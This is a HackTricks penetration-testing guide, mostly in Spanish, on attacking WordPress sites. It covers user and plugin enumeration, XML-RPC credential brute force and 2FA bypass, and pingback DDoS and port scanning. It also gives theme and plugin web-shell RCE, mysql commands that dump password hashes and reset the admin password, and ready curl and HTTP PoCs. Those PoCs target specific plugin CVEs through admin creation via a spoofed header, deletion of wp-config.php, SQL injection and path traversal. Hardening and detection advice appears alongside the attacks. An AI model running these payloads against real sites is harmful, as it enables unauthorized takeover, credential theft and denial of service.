Wordpress
Reading time: 27 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
-
Archivos subidos van a:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Los archivos de temas se pueden encontrar en /wp-content/themes/, así que si cambias algún php del tema para conseguir RCE probablemente usarás esa ruta. Por ejemplo: Usando theme twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php
-
Otra URL útil podría ser: /wp-content/themes/default/404.php
-
En wp-config.php puedes encontrar la contraseña root de la base de datos.
-
Rutas de login por defecto a comprobar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Archivos principales de WordPress
index.php
license.txt
contiene información útil como la versión de WordPress instalada.wp-activate.php
se usa para el proceso de activación por correo electrónico al configurar un nuevo sitio WordPress.- Carpetas de login (pueden ser renombradas para ocultarlas):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
es un archivo que representa una característica de WordPress que permite que los datos se transmitan utilizando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por el REST API de WordPress.- La carpeta
wp-content
es el directorio principal donde se almacenan plugins y temas. wp-content/uploads/
es el directorio donde se almacenan los archivos subidos a la plataforma.wp-includes/
es el directorio donde se almacenan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.wp-sitemap.xml
En versiones de WordPress 5.5 y superiores, WordPress genera un archivo sitemap XML con todas las entradas públicas y los tipos de contenido y taxonomías consultables públicamente.
Post explotación
- El archivo
wp-config.php
contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el usuario y la contraseña, las keys y salts de autenticación, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para la resolución de problemas.
Permisos de usuarios
- Administrator
- Editor: Publica y gestiona sus propias entradas y las de otros
- Author: Publica y gestiona sus propias entradas
- Contributor: Escribe y gestiona sus entradas pero no puede publicarlas
- Subscriber: Navega las entradas y edita su perfil
Enumeración pasiva
Obtener la versión de WordPress
Comprueba si puedes encontrar los archivos /license.txt
o /readme.html
Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Archivos de enlace CSS
- Archivos JavaScript
Obtener Plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Obtener Temas
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraer versiones en general
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Enumeración activa
Plugins y Temas
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás realizar activamente un Brute Force a una lista de Plugins y Temas (esperemos que existan herramientas automatizadas que contengan estas listas).
Usuarios
- ID Brute: Obtienes usuarios válidos de un sitio WordPress realizando Brute Forcing de los IDs de usuario:
curl -s -I -X GET http://blog.example.com/?author=1
Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.
- wp-json: También puedes intentar obtener información sobre los usuarios consultando:
curl http://blog.example.com/wp-json/wp/v2/users
Otro endpoint /wp-json/
que puede revelar algo de información sobre usuarios es:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Ten en cuenta que este endpoint solo expone usuarios que han hecho una publicación. Solo se proporcionará información sobre los usuarios que tienen habilitada esta función.
Ten en cuenta también que /wp-json/wp/v2/pages could leak direcciones IP.
- Login username enumeration: Al iniciar sesión en
/wp-login.php
el mensaje es distinto y indica si el username existe o no.
XML-RPC
Si xml-rpc.php
está activo puedes realizar un credentials brute-force o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso usando esto, por ejemplo).
Para ver si está activo intenta acceder a /xmlrpc.php y enviar esta solicitud:
Comprobar
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credenciales Bruteforce
wp.getUserBlogs
, wp.getCategories
o metaWeblog.getUsersBlogs
son algunos de los métodos que se pueden usar para brute-force credentials. Si puedes encontrar cualquiera de ellos puedes enviar algo como:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
El mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.
Usando las credenciales correctas puedes subir un archivo. En la respuesta aparecerá la ruta (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall
as you can try several credentials on the same request:
.png)
Bypass 2FA
Este método está pensado para programas y no para humanos, y es antiguo, por lo que no soporta 2FA. Así que, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, podrías abusar de xmlrpc.php para login con esas credenciales evitando 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la console, pero aún podrías llegar a RCE como Ippsec lo explica en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask miles de sitios Wordpress que accedan a una misma ubicación (provocando así un DDoS en ese destino) o puedes usarlo para hacer que Wordpress escanee alguna red interna (puedes indicar cualquier puerto).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.
Consulta el uso de system.multicall
en la sección anterior para aprender cómo abusar de este método para causar DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Este archivo normalmente existe en la raíz del sitio Wordpress: /wp-cron.php
Cuando este archivo es accedido, se ejecuta una consulta MySQL pesada, por lo que podría ser usado por atacantes para causar un DoS.
Además, por defecto, wp-cron.php
se invoca en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Se recomienda desactivar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias en intervalos regulares (sin causar problemas).
/wp-json/oembed/1.0/proxy - SSRF
Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el sitio Wordpress puede realizar una petición hacia ti.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
This tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.
Herramientas automáticas
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Obtener acceso sobrescribiendo un bit
Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podías voltear 1 bit de cualquier archivo de wordpress. Así podías voltear la posición 5389
del archivo /var/www/html/wp-includes/user.php
para NOP la operación NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modificando un php del tema usado (se necesitan credenciales de administrador)
Apariencia → Editor de temas → Plantilla 404 (a la derecha)
Reemplaza el contenido por un shell php:
Busca en internet cómo puedes acceder a esa página actualizada. En este caso debes acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Puedes usar:
use exploit/unix/webapp/wp_admin_shell_upload
para obtener una sesión.
Plugin RCE
PHP plugin
It may be possible to upload .php files as a plugin.
Create your php backdoor using for example:
Then add a new plugin:
Upload plugin and press Install Now:
Click on Procced:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
Access it and you will see the URL to execute the reverse shell:
Subir y activar un plugin malicioso
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
- Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
- Plugin Installation:
- Navigate to the WordPress dashboard, then go to
Dashboard > Plugins > Upload Plugin
. - Upload the zip file of the downloaded plugin.
- Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.
- Exploitation:
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
El contenido incluye ayudas visuales que muestran los pasos en el WordPress dashboard para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como penetration testing con permiso explícito.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Crea un usuario en WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Sube tu plugin personalizado (backdoor) a WordPress.
- (RCE) Built-In Plugin Edit: Edita plugins integrados en WordPress.
- (RCE) Built-In Theme Edit: Edita temas integrados en WordPress.
- (Custom) Custom Exploits: Exploits personalizados para plugins/temas de terceros de WordPress.
Post Exploitation
Extract usernames and passwords:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Cambiar la contraseña del administrador:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Superficie de ataque
Saber cómo un Wordpress plugin puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes ver cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en this blog post.
wp_ajax
Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de handlers de AJAX. Estos pueden contener bugs de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un Wordpress nonce que cualquier usuario autenticado en la instancia de Wordpress podría poseer (independientemente de su rol).
Estas son las funciones que se pueden usar para exponer una función en un plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
El uso de nopriv
hace que el endpoint sea accesible por cualquier usuario (incluso por usuarios no autenticados).
caution
Además, si la función solo está comprobando la autorización del usuario con la función wp_verify_nonce
, esa función únicamente verifica que el usuario haya iniciado sesión; normalmente no comprueba el rol del usuario. Por lo tanto, usuarios con bajos privilegios podrían tener acceso a acciones de alto privilegio.
- REST API
It's also possible to expose functions from wordpress registering a rest AP using the register_rest_route
function:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
El permission_callback
es un callback a una función que comprueba si un usuario dado está autorizado para llamar al método de la API.
Si se usa la función incorporada __return_true
, simplemente omitirá la comprobación de permisos de usuario.
- Acceso directo al archivo php
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Así que, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será exploitable por cualquier usuario.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Algunos plugins implementan atajos de “trusted header” para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual en las solicitudes REST. Si el header no está cryptographically bound a la request por un componente upstream, un atacante puede spoof it y acceder a rutas REST privilegiadas como administrador.
- Impacto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(fuerza el user ID 1, típicamente la primera cuenta de administrador). - Ruta explotada:
POST /wp-json/wp/v2/users
con un array de roles elevado.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- El plugin mapea una cabecera controlada por el cliente a un estado de autenticación y omite las comprobaciones de capability.
- WordPress core espera la capability
create_users
para esta ruta; el hack del plugin la elude estableciendo directamente el contexto del usuario actual desde la cabecera.
Expected success indicators
- HTTP 201 con un cuerpo JSON que describe el usuario creado.
- Un nuevo usuario admin visible en
wp-admin/users.php
.
Detection checklist
- Grep por
getallheaders()
,$_SERVER['HTTP_...']
, o vendor SDKs que lean cabeceras personalizadas para establecer el contexto de usuario (p. ej.,wp_set_current_user()
,wp_set_auth_cookie()
). - Revisar las REST registrations en busca de callbacks privilegiados que carezcan de comprobaciones robustas de
permission_callback
y en su lugar confíen en las cabeceras de la solicitud. - Buscar usos de funciones core de gestión de usuarios (
wp_insert_user
,wp_create_user
) dentro de handlers REST que estén protegidos únicamente por valores de cabecera.
Hardening
- Nunca derives autenticación o autorización de cabeceras controladas por el cliente.
- Si un proxy inverso debe inyectar identidad, termina la confianza en el proxy y elimina las copias entrantes (p. ej.,
unset X-Wcpay-Platform-Checkout-User
en el edge), luego pasa un token firmado y verifícalo server-side. - Para rutas REST que realicen acciones privilegiadas, requiere comprobaciones con
current_user_can()
y unpermission_callback
estricto (NO uses__return_true
). - Prefiere autenticación first-party (cookies, application passwords, OAuth) sobre la “impersonation” vía cabeceras.
References: see the links at the end of this page for a public case and broader analysis.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_
and wp_ajax_nopriv_
hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()
or at leastis_user_logged_in()
), and - A CSRF nonce validated with
check_ajax_referer()
/wp_verify_nonce()
, and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemas introducidos por este fragmento:
- Acceso no autenticado – el hook
wp_ajax_nopriv_
está registrado. - Sin comprobación de nonce / capacidades – cualquier visitante puede acceder al endpoint.
- Sin sanitización de paths – la cadena controlada por el usuario
fontfamily
se concatena a una ruta del sistema de archivos sin filtrado, permitiendo el clásico../../
traversal.
Explotación
Un atacante puede eliminar cualquier archivo o directorio por debajo del directorio base uploads (normalmente <wp-root>/wp-content/uploads/
) enviando una única solicitud HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Porque wp-config.php
vive fuera de uploads, cuatro secuencias ../
son suficientes en una instalación por defecto. Eliminar wp-config.php
fuerza a WordPress al asistente de instalación en la siguiente visita, permitiendo la toma total del sitio (el atacante simplemente proporciona una nueva configuración de la base de datos y crea un usuario administrador).
Otros objetivos importantes incluyen archivos plugin/theme .php
(para deshabilitar plugins de seguridad) o reglas .htaccess
.
Lista de verificación de detección
- Cualquier
add_action( 'wp_ajax_nopriv_...')
callback que llame helpers del sistema de archivos (copy()
,unlink()
,$wp_filesystem->delete()
, etc.). - Concatenación de entrada de usuario no saneada en rutas (buscar
$_POST
,$_GET
,$_REQUEST
). - Ausencia de
check_ajax_referer()
ycurrent_user_can()
/is_user_logged_in()
.
Endurecimiento
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
Siempre trata cualquier operación de escritura/eliminación en disco como privilegiada y verifica doblemente:
• Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath()
plus str_starts_with()
).
Escalada de privilegios mediante restauración obsoleta de roles y falta de autorización (ASE "View Admin as Role")
Muchos plugins implementan una función de "view as role" o conmutación temporal de roles guardando el/los role(s) originales en user meta para poder restaurarlos más tarde. Si la ruta de restauración depende únicamente de parámetros de la petición (e.g., $_REQUEST['reset-for']
) y de una lista mantenida por el plugin sin comprobar capacidades y un nonce válido, esto se convierte en una escalada de privilegios vertical.
Un ejemplo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reset restauraba roles basándose en reset-for=<username>
si el nombre de usuario aparecía en una matriz interna $options['viewing_admin_as_role_are']
, pero no realizaba ni una comprobación current_user_can()
ni una verificación de nonce antes de eliminar los roles actuales y volver a añadir los roles guardados en el user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Por qué es explotable
- Confía en
$_REQUEST['reset-for']
y una opción del plugin sin autorización del lado del servidor. - Si un usuario previamente tuvo privilegios más altos guardados en
_asenha_view_admin_as_original_roles
y fue degradado, puede restaurarlos accediendo a la ruta de restablecimiento. - En algunas implementaciones, cualquier usuario autenticado podría desencadenar un restablecimiento para otro nombre de usuario todavía presente en
viewing_admin_as_role_are
(autorización rota).
Requisitos del ataque
- Versión del plugin vulnerable con la función activada.
- La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en meta de usuario por un uso anterior.
- Cualquier sesión autenticada; falta nonce/capability en el flujo de restablecimiento.
Explotación (ejemplo)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
En versiones vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., administrator
), escalando efectivamente los privilegios.
Detection checklist
- Busca funciones de cambio de rol que persistan los "roles originales" en user meta (p. ej.,
_asenha_view_admin_as_original_roles
). - Identifica rutas de restablecimiento/restauración que:
- Leen nombres de usuario desde
$_REQUEST
/$_GET
/$_POST
. - Modifican roles mediante
add_role()
/remove_role()
sincurrent_user_can()
ywp_verify_nonce()
/check_admin_referer()
. - Autorizan basándose en un array de opciones del plugin (p. ej.,
viewing_admin_as_role_are
) en lugar de en las capacidades del actor.
Hardening
- Forzar comprobaciones de capacidades en cada rama que cambie el estado (p. ej.,
current_user_can('manage_options')
o más estricta). - Exigir nonces para todas las mutaciones de roles/permisos y verificarlos mediante:
check_admin_referer()
/wp_verify_nonce()
. - Nunca confíes en nombres de usuario suministrados en la solicitud; resuelve el usuario objetivo del lado del servidor basándote en el actor autenticado y en la política explícita.
- Invalidar el estado de los "roles originales" en actualizaciones de perfil/rol para evitar la restauración obsoleta de privilegios altos:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Considere almacenar un estado mínimo y usar tokens limitados en el tiempo, capability-guarded, para cambios temporales de rol.
Consideraciones de WAF para WordPress/plugin CVEs
Los WAFs genéricos de edge/servidor se ajustan a patrones amplios (SQLi, XSS, LFI). Muchas fallas de alto impacto en WordPress/plugins son errores de lógica/autenticación específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica de los plugins.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
Protección de WordPress
Actualizaciones regulares
Asegúrese de que WordPress, plugins y themes estén actualizados. También confirme que la actualización automática esté habilitada en wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Además, solo instala plugins y temas de WordPress de confianza.
Plugins de seguridad
Otras recomendaciones
- Elimina el usuario predeterminado admin
- Usa contraseñas fuertes y 2FA
- Periódicamente revisa los permisos de los usuarios
- Limita los intentos de inicio de sesión para prevenir ataques Brute Force
- Renombra el archivo
wp-admin.php
y permite el acceso solo internamente o desde ciertas direcciones IP.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
El plugin de reclutamiento WP Job Portal expuso una tarea savecategory que finalmente ejecuta el siguiente código vulnerable dentro de modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemas introducidos por este fragmento de código:
- Entrada de usuario no saneada –
parentid
proviene directamente de la petición HTTP. - Concatenación de cadenas dentro de la cláusula WHERE – no
is_numeric()
/esc_sql()
/ prepared statement. - Accesibilidad sin autenticación – aunque la acción se ejecuta a través de
admin-post.php
, la única verificación es un CSRF nonce (wp_verify_nonce()
), que cualquier visitante puede obtener desde una página pública que incluya el shortcode[wpjobportal_my_resumes]
.
Explotación
- Obtener un nonce fresco:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Inyectar SQL arbitraria abusando de
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando un SQLi.
Descarga arbitraria de archivos sin autenticación / Path Traversal (WP Job Portal <= 2.3.2)
Otra tarea, downloadcustomfile, permitía a los visitantes descargar cualquier archivo en disco mediante path traversal. El sink vulnerable está ubicado en modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
está controlado por el atacante y concatenado sin saneamiento. Nuevamente, la única barrera es un CSRF nonce que puede obtenerse desde la página de currículum.
Explotación
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
El servidor responde con el contenido de wp-config.php
, leaking DB credentials and auth keys.
Referencias
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.